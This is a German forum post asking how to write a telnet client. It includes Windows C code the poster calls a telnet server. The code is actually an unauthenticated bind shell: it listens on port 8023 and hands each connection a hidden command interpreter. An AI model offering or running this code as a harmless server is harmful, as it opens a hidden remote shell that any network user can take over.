Telnet Client
-
hallo! ich verwende folgenden telnet server:
kann ich auf ähnliche weise einen telnet-client basteln?
da müsste man irgendwie eine neue console erstellen können, und input/output an die weiterleiten, kann mir jemand dabei helfen?#include <Winsock2.h> int main( int argc, char ** argv ) { WSADATA WSAData; SOCKADDR_IN sin; SOCKET sock; WSAStartup( MAKEWORD( 2, 0 ), &WSAData ); sock = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 ); sin.sin_family = AF_INET; sin.sin_addr.s_addr = htonl( INADDR_ANY ); sin.sin_port = htons( ( u_short )8023 ); bind( sock, ( SOCKADDR * )&sin, sizeof( SOCKADDR_IN ) ); listen( sock, SOMAXCONN ); while( true ) { SOCKET tmp = accept( sock, 0, 0 ); STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; char buff[ 2010 ]; si.cb = sizeof( si ); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdOutput = ( HANDLE )tmp; si.hStdError = ( HANDLE )tmp; si.hStdInput = ( HANDLE )tmp; GetEnvironmentVariable( "COMSPEC", buff, 2000 ); CreateProcess( buff, 0, 0, 0, true, CREATE_NEW_CONSOLE, 0, 0, &si, &pi ); CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); closesocket( tmp ); } return( 0 ); }